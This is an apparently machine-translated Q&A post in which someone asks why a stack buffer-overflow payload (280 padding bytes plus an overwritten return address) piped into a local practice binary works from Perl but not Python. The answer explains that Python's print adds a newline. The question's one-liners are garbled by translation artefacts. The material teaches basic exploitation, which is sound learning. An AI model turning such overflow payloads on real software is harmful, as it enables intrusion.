我试图利用缓冲区溢出。 我不认为在C中发布我的程序很有用。 这个漏洞利用工作:
(perl -e' print" a" x 280。" \ xf6 \ x06 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00"' ;猫)| ./a.out
但是这个没有
(python -c' print(" a" * 280 +" \ xf6 \ x06 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00")&# 39 ;; cat)| ./a.out
除了我使用的语言之外,我没有看到任何不同的东西。有谁能告诉我是否有区别?
由于
答案 0 :(得分:1)
是的,有区别。默认情况下,Perl的print
函数不会打印换行符,而Python会这样做。在Python中,尝试:
(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out